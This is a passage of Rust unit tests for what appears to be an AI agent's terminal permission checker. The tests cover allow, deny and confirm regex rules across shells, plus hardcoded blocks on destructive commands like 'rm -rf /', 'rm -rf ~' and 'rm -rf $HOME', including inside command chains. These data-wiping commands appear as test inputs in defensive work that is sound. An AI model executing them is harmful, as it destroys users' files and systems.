 988        t("RM -RF ./temp")
 989            .deny_case_sensitive(&[pattern("rm")])
 990            .mode(ToolPermissionMode::Allow)
 991            .is_allow();
 992    }
 993
 994    #[test]
 995    fn nushell_allows_with_allow_pattern() {
 996        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
 997    }
 998
 999    #[test]
1000    fn nushell_allows_deny_patterns() {
1001        t("rm -rf ./temp")
1002            .deny(&["rm\\s+-rf"])
1003            .shell(ShellKind::Nushell)
1004            .is_deny();
1005    }
1006
1007    #[test]
1008    fn nushell_allows_confirm_patterns() {
1009        t("sudo reboot")
1010            .confirm(&["sudo"])
1011            .shell(ShellKind::Nushell)
1012            .is_confirm();
1013    }
1014
1015    #[test]
1016    fn nushell_no_allow_patterns_uses_default() {
1017        t("ls")
1018            .deny(&["rm"])
1019            .mode(ToolPermissionMode::Allow)
1020            .shell(ShellKind::Nushell)
1021            .is_allow();
1022    }
1023
1024    #[test]
1025    fn elvish_allows_with_allow_pattern() {
1026        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1027    }
1028
1029    #[test]
1030    fn rc_allows_with_allow_pattern() {
1031        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1032    }
1033
1034    #[test]
1035    fn multiple_invalid_patterns_pluralizes_message() {
1036        let mut tools = collections::HashMap::default();
1037        tools.insert(
1038            Arc::from("terminal"),
1039            ToolRules {
1040                default_mode: ToolPermissionMode::Allow,
1041                always_allow: vec![],
1042                always_deny: vec![],
1043                always_confirm: vec![],
1044                invalid_patterns: vec![
1045                    InvalidRegexPattern {
1046                        pattern: "[bad1".into(),
1047                        rule_type: "always_deny".into(),
1048                        error: "err1".into(),
1049                    },
1050                    InvalidRegexPattern {
1051                        pattern: "[bad2".into(),
1052                        rule_type: "always_allow".into(),
1053                        error: "err2".into(),
1054                    },
1055                ],
1056            },
1057        );
1058        let p = ToolPermissions { tools };
1059
1060        let result =
1061            ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix);
1062        match result {
1063            ToolPermissionDecision::Deny(msg) => {
1064                assert!(
1065                    msg.contains("2 regex patterns"),
1066                    "Expected '2 regex patterns' in message, got: {}",
1067                    msg
1068                );
1069            }
1070            other => panic!("Expected Deny, got {:?}", other),
1071        }
1072    }
1073
1074    // Hardcoded security rules tests - these rules CANNOT be bypassed
1075
1076    #[test]
1077    fn hardcoded_blocks_rm_rf_root() {
1078        t("rm -rf /").is_deny();
1079        t("rm -fr /").is_deny();
1080        t("rm -RF /").is_deny();
1081        t("rm -FR /").is_deny();
1082        t("rm -r -f /").is_deny();
1083        t("rm -f -r /").is_deny();
1084        t("RM -RF /").is_deny();
1085    }
1086
1087    #[test]
1088    fn hardcoded_blocks_rm_rf_home() {
1089        t("rm -rf ~").is_deny();
1090        t("rm -fr ~").is_deny();
1091        t("rm -rf ~/").is_deny();
1092        t("rm -rf $HOME").is_deny();
1093        t("rm -fr $HOME").is_deny();
1094        t("rm -rf $HOME/").is_deny();
1095        t("rm -rf ${HOME}").is_deny();
1096        t("rm -rf ${HOME}/").is_deny();
1097        t("rm -RF $HOME").is_deny();
1098        t("rm -FR ${HOME}/").is_deny();
1099        t("rm -R -F ${HOME}/").is_deny();
1100        t("RM -RF ~").is_deny();
1101    }
1102
1103    #[test]
1104    fn hardcoded_blocks_rm_rf_dot() {
1105        t("rm -rf .").is_deny();
1106        t("rm -fr .").is_deny();
1107        t("rm -rf ./").is_deny();
1108        t("rm -rf ..").is_deny();
1109        t("rm -fr ..").is_deny();
1110        t("rm -rf ../").is_deny();
1111        t("rm -RF .").is_deny();
1112        t("rm -FR ../").is_deny();
1113        t("rm -R -F ../").is_deny();
1114        t("RM -RF .").is_deny();
1115        t("RM -RF ..").is_deny();
1116    }
1117
1118    #[test]
1119    fn hardcoded_cannot_be_bypassed_by_global() {
1120        // Even with always_allow_tool_actions=true, hardcoded rules block
1121        t("rm -rf /").global(true).is_deny();
1122        t("rm -rf ~").global(true).is_deny();
1123        t("rm -rf $HOME").global(true).is_deny();
1124        t("rm -rf .").global(true).is_deny();
1125        t("rm -rf ..").global(true).is_deny();
1126    }
1127
1128    #[test]
1129    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1130        // Even with an allow pattern that matches, hardcoded rules block
1131        t("rm -rf /").allow(&[".*"]).is_deny();
1132        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1133        t("rm -rf .").allow(&[".*"]).is_deny();
1134        t("rm -rf ..").allow(&[".*"]).is_deny();
1135    }
1136
1137    #[test]
1138    fn hardcoded_allows_safe_rm() {
1139        // rm -rf on a specific path should NOT be blocked
1140        t("rm -rf ./build")
1141            .mode(ToolPermissionMode::Allow)
1142            .is_allow();
1143        t("rm -rf /tmp/test")
1144            .mode(ToolPermissionMode::Allow)
1145            .is_allow();
1146        t("rm -rf ~/Documents")
1147            .mode(ToolPermissionMode::Allow)
1148            .is_allow();
1149        t("rm -rf $HOME/Documents")
1150            .mode(ToolPermissionMode::Allow)
1151            .is_allow();
1152        t("rm -rf ../some_dir")
1153            .mode(ToolPermissionMode::Allow)
1154            .is_allow();
1155        t("rm -rf .hidden_dir")
1156            .mode(ToolPermissionMode::Allow)
1157            .is_allow();
1158    }
1159
1160    #[test]
1161    fn hardcoded_checks_chained_commands() {
1162        // Hardcoded rules should catch dangerous commands in chains
1163        t("ls && rm -rf /").is_deny();
1164        t("echo hello; rm -rf ~").is_deny();
1165        t("cargo build && rm -rf /").global(true).is_deny();
1166        t("echo hello; rm -rf $HOME").is_deny();
1167        t("echo hello; rm -rf .").is_deny();
1168        t("echo hello; rm -rf ..").is_deny();
1169    }
1170}